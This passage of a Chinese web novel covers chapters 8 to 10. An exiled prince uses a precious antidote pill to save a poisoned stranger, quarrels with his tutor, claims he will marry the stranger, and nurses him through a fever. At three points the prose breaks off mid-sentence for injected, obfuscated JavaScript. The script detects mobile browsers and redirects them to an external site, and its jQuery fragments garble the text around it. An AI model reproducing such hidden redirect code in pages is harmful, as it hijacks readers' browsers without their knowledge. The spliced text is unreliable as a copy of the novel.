所以他不懂。
好奇心一旦在心底滋生,便像野草一样飞速蔓延生长,以至于应青炀无意识地将自己疑问说出了口,“他什么时候能醒?”
他实在太好奇对方的经历,想亲耳听到对方诉说的声音。
想问问他究竟是谁,想听听他从哪里来,想知道琼州之外是何光景,想见见这个他重活一世还没来得及好好品味过的时代。
“就算服了解毒丹,起码也得个几天吧?”孙大夫拿了个小马扎坐在架起的炉灶边。
北境这边一到冬日便是彻骨严寒,灶台一般都架在屋子里,和内室只隔了一道墙,烧起来之后能顺便暖了屋子。
孙大夫正守着自己的药罐子煎药,添柴火的动作却有些磨磨蹭蹭。
他心说没有解毒丹,这人连半个时辰都不知道能不能撑过去,别到时候浪费了他的药材,那可都是前一年辛辛苦苦采的,他半点都不舍得糟践。
应青炀背后没长眼睛,自然不知道身后的孙大夫在摸鱼。
孙大夫虽然方才同意了,但他委实不太相信姜允之会由着小殿下乱来。
他老神在在地摸了摸胡子,心说不出一刻钟,姜允之肯定要就要冲进来把小殿下数落一通。
没想到半天过去了,他煎好的药都进了哪位未来皇子妃的嘴里,而且喝一半吐一半,给孙大夫心疼坏了。
就这,姜太傅还连个影都没见到,让他连个说理的地方都没有。
人呢?
*
荒山下的这个小村落说大也大,大到能容下他们这么多前朝流落至此的孤魂野鬼。
说小也小,小到应青炀捡了个什么东西回来的事,根本连半个时辰都瞒不过,就传到了主管荒山“大权”的姜太傅耳朵里。
只不过话刚传到他这里时,说的是:“殿下不知道又从山里捡了个什么东西回来,比当初把那瘸腿马带回来的时候还要紧张呢。”
姜云之整日奔波劳累,又知道应青炀有这个捡东西的毛病,就没准备搭理,自己躺在榻上小憩一会儿。
没想到等他一觉醒来,消息已经迅速变成了:“殿下捡回来个人,并且一见钟情准备纳对方为妃。”
姜允之:“?”
刚从同僚嘴里听到这个消息时,姜太傅以为自己还没睡醒。
他推开门准备看看自己是不是在做梦,就被冷风糊了一脸,顿时打了个机灵。
姜太傅缩回房里,一边穿袄子嘴里就一边蹦出了一连串的,“胡闹!成何体统!这小子一天不闹点事就皮痒!”
“你们好好同我说说,到底是怎么回事!”
此刻聚集在姜太傅屋子里的,是仅剩的几位前朝旧臣,也算是荒山的主心骨了。
季成风,陈雷,大应皇室御前侍卫,逃出国都时,护着一行人的主力军,时年四十二岁。因是武人,身强体壮,一直是村里的重要劳动力。
沈怀远,原礼部尚书,七十八岁高龄,是荒山的大长辈,如今耳背得厉害,脑子也不大清醒了,但好在身体还算硬朗。
沈朗,沈老爷子的亲孙,三十九岁,世家出身,科举入世,就任于工部,大应灭国前一年的探花郎,如今早已将诗文策论忘在脑后,是自学成才的裁缝,负责全村人的衣物裁剪。
季成风学过点木匠手艺,给沈怀远做了个轮椅,沈朗每日推着老爷子出来晒太阳。
其余人,皆是当年的随行宫人、各家的奴仆,知根知底,这些年虽然一同生活,但到底没那么亲厚。
一路奔逃,加之落脚的地界堪称山穷水尽,死去的人太多太多。
后来为了避免横生枝节,他们也甚少和外界人接触,也无亲眷,说是快要孤独终老也差不离。
冬日里他们一般不出门,谁让这次的事情闹得太大,一听到消息就往主屋赶去。
但应青炀让阿墨守在门前,谁都不让进,一个个的只能转头聚到姜允之这里来,硬生生把小憩休息的姜允之叫醒了。
于是变成了现下这幅样子。
季成风挠挠头,“殿下那网子居然真能有用,我一直觉得就是瞎胡闹,也是命大,这都能活下来。”
沈朗倒是不在意这些,只觉得殿下愿意成家立业是好事,“原本觉得殿下一直不娶妻是怕扎我们这些老光棍的心,没想到是没遇上看对眼的。只是纳妃是不是有些过了?如此草率,怕是于大计无益啊。”
沈怀远没什么反应,大概是根本没搞清楚怎么回事,老爷子低垂着头靠在椅背上昏昏欲睡。
陈雷没什么心眼,憨厚笑笑,道:“殿下就是喜欢长得漂亮的,我刚刚问过阿墨,据说是个顶好看的大美人。”
“你们不记得了?殿下小时候第一次出荒山,在镇上看到个美人画像,非要买下来,太傅不让,殿下回来头一次闹了脾气。”
“有这事?你记性倒好。”姜允之穿好袄子,有点阴阳怪气地怼了一句。
他都快人老成精了,哪能看不出来面前这几位是在给应青炀说好话呢。
应青炀从小就嘴甜,他们这些人不成家也少与外界接触,把小殿下从小拉扯到大,早就待他比亲生的还亲。
也就姜允之没被这小子迷惑住,还能狠下心来管教,甚至偶尔还动点棍棒教育。
应青炀这次做的事委实不太妥当,不管是因为什么原因,带个陌生人回来终究是个隐患。
沈朗轻叹一口气,“太傅,这些年我们活得谨慎,在外界人眼中,你我已经是被放了牌位的死人,大应五皇子更是已死在国都的那场大火中……”
一个毁灭的王朝,一些微不足道的小人物,其实很快便会被人们遗忘在记忆深处。
实际上几年前想让应青炀娶亲时,他们就做好了融入人海的打算。
只是应青炀自己拒绝了。
“待我去看了再说!”姜允之愣是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960294|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有松口,脸色沉沉,整理好衣服,大踏步出了屋子。
其余三人面面相觑,片刻也只得跟上。
姜允之只是本能的觉得不太对劲。
什么一见钟情想要纳妃,听起来像是应青炀闯了什么大祸,随口扯出来遮掩的借口。
姜允之倒要去探个究竟。
一想到应青炀对那瘸腿马百般呵护的样子,姜云之就气得牙齿打颤,和见到自家小辈做些纨绔子弟行径一样恼怒。
他双眼喷火的样子显然连在当门神的姜墨也没法招架,被姜太傅盯了两眼就不自觉退了两步。
姜允之推门而入,向屋内扫视一眼,便先看到坐在榻边的应青炀,正低着头向床上那人额头凑去。
他怒目圆睁,暴喝一声:“臭小子!!做什么无礼之事呢!!趁人之危岂是君子所为!!”
这惊天动地的一句把应青炀吓了一跳,他一脸茫然地回头。
跟在姜允之身后的几人也没搞清楚状况,以为要起冲突,纷纷上来阻拦。
“太傅!太傅!殿下想娶就让他娶吧!”
“反正早晚要睡一张床榻的人,随他去吧!”
“多做几身衣服的事!太傅别动怒!”
听听,听听,这偏架拉的,姜允之双拳难敌四手,站在原地不得寸进。
应青炀这才发觉,自己的动作在外人看来有些歧义。
他抬起双手,满面无辜,“天地良心,我就是想看看他是不是发高热了,手太凉,感觉不出来。况且孙大夫还在呢,哪会有什么事。”
额头贴额头就准多了。
要怪就怪他生了一双含情眼,侧面看起来倒真像是含情脉脉准备轻薄他人一般。
姜允之也是气糊涂了,听了这话才发现角落里还有个人。
一边的孙大夫正在翻自己的药箱,一边百思不得其解地喃喃:“不对啊,就算这人再命硬,没有解毒丹,这会儿早该一命呜呼了,怎么还活着呢?难不成我这箱子里有什么不得了的药材……?”
嗯?中毒?解毒丹?
电光火石之间,姜允之便想明白这小子为什么突然嚷嚷着一见钟情要娶亲纳妃,感情是在这里等着他呢。
原本平复下来的火气“刷”地又起来了,“好你个臭小子,你把解毒丹给这来历不明的人吃了!?”
边上的季成风和陈雷一边拦一边小声蛐蛐,“那玩意儿真有用吗?”
“皇室秘辛,我哪里知道?”
应青炀想过自家太傅会数落他,但委实没想过对方反应会这么大。
太傅从前也没那么宝贝过那东西,今天怎么这般失控。
应青炀脖子一梗,站起身,豁出去了。
“您说什么也没用了!解毒丹我已喂他服下,我这辈子就是非他不娶了!”
随着他的动作,原本被他挡在身后的榻上人,露出半张苍白的脸来。
当真俊美无俦,姜允之怔愣一瞬,随即声音大得像是要把屋顶给掀了,“你放屁!!你就是不长脑子不够谨慎,被人抓去卖了还要帮人数铜板!你告诉我,你还能娶个男人???”
“男人”二字,振聋发聩,主屋的空气顿时凝固了。
应青炀立刻还嘴: “对!当年什么一生一世一双人当初都是骗你们的!!本殿下就是喜欢男人,就是有断袖之癖!太傅说什么都晚了!”
“这是天生的,改不了的!”
包括孙大夫在内的所有人:“???”
不是,等等,什么东西???
8. 断袖之癖
应青炀的话脱口而出之后,才发觉自己说了些什么不得了的。
虽说好南风不是什么稀奇事,尤其是从前大应的王公贵族,甚至以此当做附庸风雅的标志。
但他们从来没想过,应青炀会有断袖之癖,完全没有一点点苗头。
嘶……莫不是因为荒山里没几个女眷,所以才……?
见他如此口不择言,姜允之反而不急了,他把愣在自己面前的两座小山推开,理了理袖口,看起来还是从前那副稳如泰山、处变不惊的样子。
当然,方才也是那一时的火气上了头,以为应青炀已经被美色迷惑,到了连他往日的叮嘱都不顾的地步。
“你是真断袖还是单纯想救人?为君者确实应有悲悯之心,救人之事没有错处。你错在太过鲁莽,你知道自己的身份,有没有想过万一此人动机不纯,你将村里这些人的性命至于何地?”
应青炀正色道:“自然是想过的。这人在雪灾这么严重的时候,穿着单薄、身中剧毒,定然是被人陷害。他伤得很重,而且已经开始发高热,能不能熬过今天还是未知数。”
“如果他能活下来,只要不和他透露我们的身份,就算他之后想离开,也不会有大碍。”
应青炀解释完这些,他又察言观色,见太傅神情并未松动,便又撇了撇嘴,小声道:“而且,您前些日子也说了,我总有一天是要离开琼山的。如果连着这点风险都不能承担,那还是在琼州守一辈子更安全。”
姜允之眉毛抽了抽,就知道自己想说教,也会被应青炀那一张利嘴堵回来。
既然知道应青炀心中有数,事情也已成定局,也的确没什么可数落的。
应青炀虽然不是个做明君的料,起码本性不坏,也并不蠢笨,至少足够让他好好活着。
姜允之沉声道:“你已经做了决定,就不要后悔。那枚解毒丹,代表的是一条命。或许是你的,也许是其他人,但现在,多说无益,你已经选择了将活着的机会留给一个陌生人。”
“如此,便没有后悔的余地。”
姜太傅的话掷地有声,应青炀难得怔愣一瞬,总觉得太傅话中还有其他意思,但他却抓不到其中深意。
应青炀道:“太傅说的有理,但事在人为,解毒丹既然不是万能的,又怎知下一次有所求时会发挥作用?杞人忧天的事,我向来不做。”
说着,他的语气已经恢复了一惯的漫不经心。
姜允之嗤笑一声,“总说大话,你要是真的有那个决心,不让那解毒丹白费了才是真的。”
应青炀连连点头,转而又道:“当然,我说的断袖之癖也是真的,天生的,说不定是祖上就有这种倾向?所以什么纳妃的事,以后就不要再提了。”
应青炀是天生的断袖,他上辈子就已经知道自己的性取向了,所以在前朝旧臣们让他娶妻纳妃时才会百般推诿。
既然知道自己喜欢男人,他就不可能昧着良心去白白耽误一个女子的大好年华,尤其是在这样一个女子地位本就低微的时代。
现在一劳永逸,最好把以后的可能性直接从源头上掐灭。
原本就皱着眉,忧心忡忡的各位旧臣们,此刻眉毛拧紧,仿佛要夹死一只蚊子。
陈雷和季成风小声交流。
“没听说过大应哪位先皇有断袖之癖啊……?”
“不过太祖有过男宠也是真的……你忘了吗之前有传闻说清澜行宫里曾经挂着张美人图,似乎就是个男人的。”
沈朗大概是唯一一个觉得没什么所谓的人,甚至还有点庆幸:“那也不错,毕竟我可不太会裁制女子的衣物,平常给各位婶子做点简单地还行,皇子妃可就不能这么敷衍了事了……这下方便许多。”
很显然前任探花郎已经在这十几年的生活中被打磨成了一个成熟的裁缝。
而唯一可能有意见的是身为前任礼部尚书的沈老爷子,可惜天气实在寒冷,沈朗没敢带着亲爹风里来雪里去,人现在在姜太傅的屋子里睡得正香、
听见几人对话的姜允之面皮一抽,不知道想到了什么旧事,最终还是一言不发,只冷冷刺了一句:“随你,你娶那匹跛脚马都不会有人反对。”
应青炀:“……”嘿,您嘴巴多毒啊。
他往边上让了让,示意众人看他身后榻上,虽然狼狈,但仍见姿容华光的男人。
刚刚自爆性取向的皇子殿下笑嘻嘻地:“所以我未来的皇子妃,肯定有资格用我们库房里的药材存货的吧?”
库房里的药材说不上多,但和其他寻常农户家里的储藏比起来,肯定还是更富裕的。
毕竟他们就靠在琼山脚下,琼山山脉连绵不绝,森林茂密,药草资源也很丰富,是众人的一项重要收入来源。
很明显,这个刚刚被救下的未来皇子妃还处在危险当中,肯定要像无底洞一样花费不少草药,就这样,还不一定能救得活。
到时候把库房掏空了……
众人面面相觑,犹豫不决,最终将目光落在了管钱的姜太傅头上。
“想救?”姜允之问。
“想!”应青炀眼前一亮,听自家太傅的语气就知道这事情有门!
姜允之露出得逞的笑意,道:“那就写吧。”
嗯?应青炀顿时眼神迷茫,“写什么?”
“婚书。”姜允之觉得自己的想法简直妙极,“既然说要娶人家,起码给出点诚意,你虽肚子里没攒下几滴墨水,但一篇婚书而已,总能磨得出来。”
应青炀人都傻了。
他觉得有些荒谬,他的举动是阳谋,而太傅明知道所谓的皇子妃只是个救人的借口,偏生还要那这件事做由头来罚他做学问。
他匪夷所思,严重怀疑这只是自家太傅在作弄他,明知道他不喜欢听学,才用这种办法折磨他。
当然,只用这点小事就能换到库房里药草的使用权,这对应青炀来说已经是个很划算的买卖了。
见应青炀表情错愕,姜允之也不怕他不答应,大概太久没见到这小子憋屈的样子,这会儿他莫名有了种从前在太学给一众皇子讲论诗文时的快意:“那便写吧,你的皇子妃醒来之前,把婚书交给我。”
“我当证婚人。”姜允之一甩袖子,抬脚就走,铁了心想给这个擅做主张的小子一点教训。
不痛不痒,但说不准会有点膈应。
姜太傅已然看开了,对付应青炀这么个油盐不进的家伙,能让对方觉得不舒服就代表他取得阶段性胜利。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960295|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应青炀只能一脸丧气地把各位长辈送出门,走在最后的沈朗一脸唏嘘地拍了拍他的肩,“加油,殿下。还得劳烦殿下给未来的皇子妃量一下尺寸,方便之后裁衣。”
“多谢沈叔。”
应青炀愁眉苦脸地缩回主屋,走到榻边,孙大夫正在给榻上的人把脉,表情有些凝重,“殿下,还是发了高热……恕老夫直言,今晚若是不退,怕是要不好。”
早前便说过,这人寒气入体,毒入肺腑,又有多处外伤,想救活没那么容易,这会儿虽然解毒丹发挥了功效,可与之相对的,寒气侵蚀五脏,高热一烧起来,不及时降下去,就算醒了也很有可能有损神志。
应青炀神情凝重,“还得劳烦您了,事急从权,还望您不要放在心上。”
孙大夫瞥他一眼,道:“总归不是老夫能管得了的,你们这些皇室中人都是这样自说自话自作主张,哪里管过我们这些治病的是什么想法。”
孙大夫言语间似乎有些抱怨,大概是想起了从前在大应皇室那里受的鸟气,这会儿把苦水倒到了应青炀身上。
一开口就唠唠叨叨说个没完,应青炀也不恼,点头赔笑。
孙大夫给榻上的人又开了副方子,准备在应青炀这里守一夜,救人救到底,不管这人最后是睁了眼还是咽了气,他都得看着。
然而孙老爷子年事已高,应青炀哪敢让人受这个罪,便和孙大夫问了注意事项,让对方回去休息,他自己来守夜。
孙大夫原本还不肯,应青炀只得神神秘秘地开口:“您听没听过一个说法,久病之人会爱上睁眼看到的第一个人。那他肯定得看到我才行啊。”
孙大夫:“……殿下也不必说这么恶心的话来劝老夫,老夫走就是了,他快咽气的时候,记得叫老夫来看。”
应青炀扬唇一笑:“那估计不行了,我肯定得让他亲自给您道谢才行。”
“你想得倒不错……”孙大夫嘀嘀咕咕,留下药草和药罐,带着自己的药箱,被阿墨搀着送回了住处。
众人陆续离开,屋子里只剩下应青炀自己。
他忙忙碌碌,把药煎上,试了试床上人的体温,蹙着眉掖了掖被角,随后把小马扎拿到床边,从自己简陋的书桌上拿来最次等的宣纸和笔墨。
应青炀一边看着榻上人的侧脸出神,手上一边研了些墨,放下砚台和磨条之后就开始咬笔头。
他愁得不行,和从前每次被太傅考学问的时候还不太一样,总有种如坐针毡,若是下笔随便写几句混不吝的,榻上这人就会坐起身,用奇怪且疑惑的表情打量他。
这是人写出来的东西?
毕竟这人看着就长了一张很会风花雪月、吟词念诗的脸。
应青炀一挑眉,漫不经心地想。
看什么看,还真等着他写出些什么肝肠寸断的东西来恶心对方吗?
反正又看不到,计较这么多做什么。
应青炀百无聊赖地托着下巴,视线在这人的侧脸上滑过,鬓角一丝残留的血迹,让他无端想起今日在崖底看到这人的第一眼。
无关美色,只是生命坠落之际的光辉,分外夺人心魄。
无意识落笔写下第一句。
——皑皑白雪,灼灼桃花。
9. 交颈而眠
一件事情一旦开了头,便离成功不远了。
刚好,应青炀在信口胡说这件事上显然是有点心得的。
落笔之后,他又洋洋洒洒写了一整张宣纸,甭管内容如何,起码字数看起来十分有诚意,收尾的时候还不忘在落款写上自己的大名,龙飞凤舞,分外嚣张。
通篇狗啃字,在宣纸上一会儿挤挤挨挨,一会儿好像嫌弃彼此一般离得八丈远,根本看不清内容,唯有最下面的落款,“应青炀”三个字看得出点认真,像模像样,仿佛是换了个人来写。
甚至笔画之间,看得出点姜允之的字形来。
姜太傅曾经以一手风骨卓绝的狂草闻名国都,应青炀半点没得到真传,他是纯草,潦草的草,简直把“敷衍”两个字浸到墨水里去了。
他的字在读书人看来可以说是不堪入目,姜太傅曾经辣评,若是应青炀是寻常白丁,想要科举入仕途,起码也要因为字被耗上三五年。
这还是在他真的满腹经纶的情况下,实际上姜允之是想说,应青炀基本就告别仕途了。
应青炀当时一听就老大不乐意,倒不是没有自知之明,只是觉得万般皆下品惟有读书高的论点太过武断,他就觉得三百六十行,哪一个都比当个读书人有趣多了。
随后被一心匡扶大应的姜太傅拿着扫帚追了满村,跑了多个来回,愣是骨头硬,半点没服软。
应青炀一惯如此,按理说姜太傅日日讲学,就是个榆木脑袋也该有些长进,然而他十几年里一直吊儿郎当的模样,就和这山野里任何一个农户家的少年郎没有什么两样。
是他自己不想做学问,念叨些“之乎者也”,讲些所谓的治国之策、谈史论证。
姜允之想灌输给他的东西,应青炀半点都没学到。
他只做自己想做的事。
写好自己的名字,也勉强算一件。
应青炀拿起宣纸欣赏一番,随后毫不心疼地折起来,随手扔在桌上,打算敷衍给太傅交差。
笑话,太傅说让他写他就乖乖写吗,那是太傅的心腹会做的事,不是他这个心腹大患该做的。
应青炀回身又坐回小马扎上,一抬眼就看到男人昏睡中蹙起的眉,仿佛对他那一通乱写很不满意。
他顿时乐了,一双多情眼微微上挑,在刚刚点燃的油灯下有种说不清的狡黠,像是偷了腥的猫。
伸着爪子一点点数落道:“你自己算算现在欠我多少了?我的网子、我的衣服、我的床榻、我的弓……”
说到这,应青炀缓缓瞪大眼睛,猛地一拍大腿,“靠!!我的小老婆被我扔在雪地里了。”
这一声喊脱口而出,守在门边的阿墨奇怪地抬头看了他一眼。
“……公子还要纳妾?”
“纳什么纳!我的心肝宝贝啊!!”应青炀在屋子里像只无头苍蝇似的转来转去。
他两眼一闭就仿佛能看到自己的心肝宝贝正躺在雪地上受苦,他每月都要给箭身打上松油,很是爱护。
当时为了把这人背回来,他直接将东西扔进了雪里。
应青炀还没来得及叮嘱阿墨,让他去把自己的弓箭捡回来,就听床榻上的人剧烈地咳了两声。
他抬眼看去,见男人嘴角溢出少许黑紫色的鲜血,俊美而苍白的脸上,那股独属于死亡的灰败似乎又重新蔓延上来。
孙大夫临走的时候叮嘱过他,解毒丹发挥作用后会让男人把体内的毒血吐出来,加之寒气引起的高热,人会很受折磨。
应青炀脚步一停,拿了巾帕来到床榻边,给男人擦去嘴角的污血,血液堵在喉管里,让男人微不可查地咳了几声。
他下巴微抬,脖颈后仰,仿佛溺水的人面临濒死的境地,十足狼狈。
应青炀呼吸一紧,犹豫片刻后,他将男人扶起来,自己向后撤了少许,让男人的脊背靠在自己肩膀上,并把棉被抓上来,拢在两人身上。
随后用手掐住他的下颚,让他不至于被堵在喉咙里的污血生生呛死。
他凑在男人耳边小声蛐蛐,“好了,你现在还欠我一根沉香木,起码也得是个百年老树的才行……沉香木沉香木沉香木……”
仿佛要凭借这无休止的碎碎念,让睡梦中的男人记得还他报酬。
男人被他念叨得咳嗽声都几近于无,不知道是不是因为嫌弃应青炀实在太吵。
当对方高大的身躯靠到他身上时,应青炀只觉得对方略高的体温隔着衣物传到他身上,莫名有些烫人。
倒是没感觉出什么重量,这人肩背轻薄得不像话,仿佛只有一身硬骨头支撑着残破的身体,只这一下就能让人把他脑补成糟了大罪被人迫害的清贵公子。
不过应青炀的脑回路显然和寻常人不太一样。
“嘶……”他突然倒抽了一口凉气。
边上的阿墨歪头看他,问:“重?我来?”
应青炀语气沉沉,“这家伙腿比我命长啊。”
阿墨:“?”
阿墨的视线上下打量起床榻边,眼前的两人身形交叠在一起,那陌生男人侧着脑袋无知无觉地靠在自家少爷身上,两张同样俊美的脸几乎凑在一起,青丝纠缠,画面倒是很唯美。
但是和腿有什么关系?
应青炀纳了闷了,“我们都坐在榻上,他和我一样高,那他腿起码比我长了半寸啊?”
阿墨脑子笨,没怎么听懂,只是学着风叔平日里的念叨宽慰了一句,“殿下还在长身体。”
应青炀:“……”这话还不如不说。
他又往后退了些,脊背靠在冰冷的土墙上,从边上的铺盖里面摸出个展开的话本,一边给男人擦去淤血,一边抽空瞥两眼话本。
阿墨被他支使去煎药。
淤血吐了一阵,男人恢复平静,随之而来的是逐渐升高的体温。
应青炀把煎好的药汁给男人喂下去,喝一半吐一半,体温则完全没有降下来的趋势。
高热烧得男人神志不清,昏迷中呼吸急促,嘴边溢出一两句梦呓,应青炀没怎么听清,手按在男人腕间感受脉搏。
“fang……si……”嘶哑的声音从喉间滚落,原本垂在身侧的手猛然攥住应青炀的手腕,指甲掐进应青炀的皮肉里,随后做了个向外推据的动作。
应青炀忍着剧痛咬牙切齿,“有本事握住了就别松开,我倒要看看你能不能把我也拽进阴曹地府去。”
死亡的阴影笼罩蔓延,主屋的油灯一直亮着,片刻未熄。
而姜允之的房间内,曾经的大应宰相站在窗前,听着窗外风雪呼号,仿佛天地在悲鸣。
这席卷而来的雪灾,让他心里不太安定,山雨欲来风满楼,龟缩在琼州的这些年,的确让他忘记了许多事情。
他目光幽深,耳畔是应青炀今日那一句“离开琼州”。
油灯昏暗的光线下,年迈的老人脊背略有些佝偻,十
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960296|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几年苟且偷生的光阴在他身上具现化,终于在这一年这一天,这个冬夜,让他弯下了挺直了半辈子的腰。
“是该出去走走了……”苍老的声音带着不知名的意味,留下一声止不住的叹息。
*
翌日清晨,风雪来得快停得也快,像是爱变脸的孩子,全然不管他人的死活。
季成风和陈雷一大早便出门,清扫出了村里的主路,以防腿脚不灵便的踩进雪层里摔倒。
孙大夫背着手溜溜达达地来到主屋,看看情况。
他连药箱都没拿,对那人能熬过来没报什么希望,觉得还是收尸更快点,省得还要浪费他的那些宝贝药材。
孙大夫十分自信地推开门,力道不大,但一下就把门边的矮榻撞倒了,睡在上面守夜的阿墨摔到地上,一连滚了三下才停,满脸懵然地睁开眼睛。
孙大夫捋了捋胡子,“啧”了一声,“你这警惕心,还得练练。”
半点不提自己连门都不敲的事情。
阿墨耳朵是灵的,奈何和自家少爷守了一晚上,前前后后忙忙碌碌,睡得太沉。
昨夜应青炀用雪水和巾帕给男人擦拭额头、面颊、掌心,一整夜来来回回,这人的体温反反复复,凶险万分。
三更天的时候榻上的男人呼吸急促,几乎要被高热折磨到断气,阿墨连铁锹都拿好了,准备给人选个好地方安息。
但这男人实在命硬,被应青炀按在床上,不厌其烦地擦身降温,老参切了一半压在舌根下吊命,硬生生熬到了破晓。
孙大夫脚都跨进了门槛,才发现屋内出奇的安静,他也不自觉地压低了声音,“死了没?”
阿墨眼皮打架,道:“救活了……”
阿墨甚至觉得自家少爷和这人有仇,才会这么不遗余力地想要救下对方。
何苦呢,偏要强留这人在人世间,或许就这么闭眼去了,会更轻松一些。
不过这一夜受的苦,应青炀也跟着一起囫囵吞了。
应青炀从小到大都是有点执拗在身上的。
孙大夫顿时觉得纳闷:“没道理啊,就这人连药都只能吞一半的样子,根本熬不过来……”
阿墨模模糊糊地说:“少爷给他喂下去了。”
“怎么喂的?”
阿墨没理解这个问题,“就,喂的?”
孙大夫摇摇头,自己在那嘟囔: “求生意志这么薄弱,命倒是很硬。这种人一般年轻的时候就会有点预兆,当年在国都的时候老夫就听同僚提起过,有个世家子弟为了救人身中数刀,几经昏厥,居然熬过来了……”
他那喜欢唠叨往事的毛病又犯了。
阿墨一边打哈欠一边点头,示意自己在听。
孙大夫脚下没停,他往内室走去,随后抬眼看那床榻上。
他眼神不好,已然算是半瞎,只能隐约地看出个模糊的轮廓。
厚厚的两层棉被盖在上面,榻上的两人缩在棉被里,头抵着头,都枕在一个枕头上,脸颊仿佛肉贴着肉没有距离,浑然像是交颈而眠,耳鬓厮磨。
长发散开,青丝纠缠在一起,糊成一片黑色色块,看着不分彼此,让人不敢想象棉被下面是什么光景。
孙大夫好歹也曾经见过奢靡享乐的大应贵族,知道南风是怎么回事,这会儿突然明白应青炀是怎么把药给人喂下去的了。
他顿时痛斥两句:“世风日下!!成何体统!!”
10. 一意孤行
这两句话振聋发聩,但榻上的人愣是一个都没醒。
那昏迷的人是因为刚刚脱离危险期,一时半会儿醒不过来。
应青炀则是因为昨夜睡得太晚,这回儿就算是地动山摇,他都不会睁眼。
可怜见的,从前总要睡到日上三竿还要补眠的人,熬过了一个难忍的长夜,孙大夫都忍不住一阵唏嘘。
他在榻边坐下,给榻上的两人挨个搭脉。
应青炀身体仍然健壮得和牛犊一样,只是睡眠不足有些虚亏,的确需要补眠。
另一人脉象紊乱,身体虚弱得随时都会毙命。解毒丹虽然用了,但似乎解得不是那么彻底,估摸着要暂时留下点后遗症。
孙大夫一阵牙酸,只觉得仿佛看见自己的一堆宝贝药材成了一坛子药渣。
他静悄悄地走出去,离开前还在盘算库房里的药材能不能撑到那人没有性命之忧。
孙大夫这样想着,脚下一转方向,便去了姜允之的住处,想报备一下这个悲伤的消息,顺便和太傅打一下皇子殿下的小报告。
就算早知道应青炀的性子,如果在富贵圈子里长大板上钉钉是个纨绔子弟,但真看到他肆无忌惮地和一个陌生男人同榻而眠,对孙大夫来说还是实在太有冲击力了。
孙大夫这才真的陡然有种自己养大的小白菜早就长歪了的沧桑感。
他长吁短叹地进了门。
姜太傅果然醒着,而且正站在桌前,桌面上铺着层层叠叠的宣纸,上面龙飞凤舞的是姜允之拿手的狂草。
砚台放在桌面一角当成了镇纸,姜太傅仍然反复点墨、笔走龙蛇,没有半点要停下的意思。
孙大夫有些讶异,姜允之已经许久不写字了。
宣纸在琼州这个荒凉地是稀罕物件,给应青炀用的都是咬咬牙忍痛买来的,姜允之本人舍不得用。
这些年村里境况不好,为了控制开销,他都是在泥地上用枝条随意书写。
姜允之年轻时原也是风雅之人,现在没那些讲究。
不知道这次洋洋洒洒一刻不停,究竟是何缘故。
孙大夫心觉好奇,低头看了一眼,奈何他也没什么学问,只看得出大概是什么经文,没什么稀奇的,姜允之从前就有抄经的习惯。
见到他走到近前,姜允之的手终于停下,悬停在纸张上方,一向极稳的手竟有些微不可查的发抖。
“主屋那边有消息了?”姜允之拿着笔,末端落下一大团墨迹,渗进驳杂的宣纸纸页中。
孙大夫点头,“醒了。你都不知道,我进去的时候殿下和那……睡在一床被子里,成何体统!!成何体统啊!!”
“知道了。”姜允之沉默半晌,哼笑一声,“随他去吧,这小子自己说了,人家要娶‘妻’,活到这个年岁,第一次有所求,哪有不满足的道理。”
孙大夫摇头晃脑,“什么娶妻,我看悬,这会儿是看上那副好皮囊,可我估摸着,那人得留下点后遗症。”
他伸手点了点自己的眼睛。
姜太傅看在眼里,收拾笔墨的动作一顿,摇摇头,道出一句感叹。
“时也。命也。”
*
于是在姜太傅的默许下,库房里的药材流水一样送进了主屋。
应青炀活了快二十年,加上那不能和外人说道的前生,都是第一次做这种照顾人的活计。
他前世自幼体弱多病,也算是久病成良医,在照顾人这一方面非常有心得,所以精心护养着,病榻上的男人连恢复速度都比寻常人快上许多。
也得亏了跟在身边帮忙的是阿墨这个榆木脑袋,换了别人怕是要怀疑自家这混不吝的小殿下,是不是被哪路孤魂野鬼上了身。
即便如此,应青炀榻上那重伤之人,也昏睡了□□日的时间,才终于在第十日的早晨,有了一点将要苏醒的征兆。
彼时应青炀正坐在小马扎上,用石杵捣药,敲得框框作响,和窗外的风雪声一起混杂成了刺耳的噪音,仿佛在往人耳膜上凿钉子。
他心情不是很美妙,嘴里残留着米粥的淡香,混杂着浓郁的、独属于药材的苦味,直苦到人心坎里去了。
他嚼了几颗山枣干,都没能把那股子苦味压下去。
应青炀一度怀疑孙大夫使坏,在药方里加了太多味苦的药材,以至于让他这个味觉过于灵敏的人也跟着受罪。
捣药的动作里便多少掺杂了点怨气。
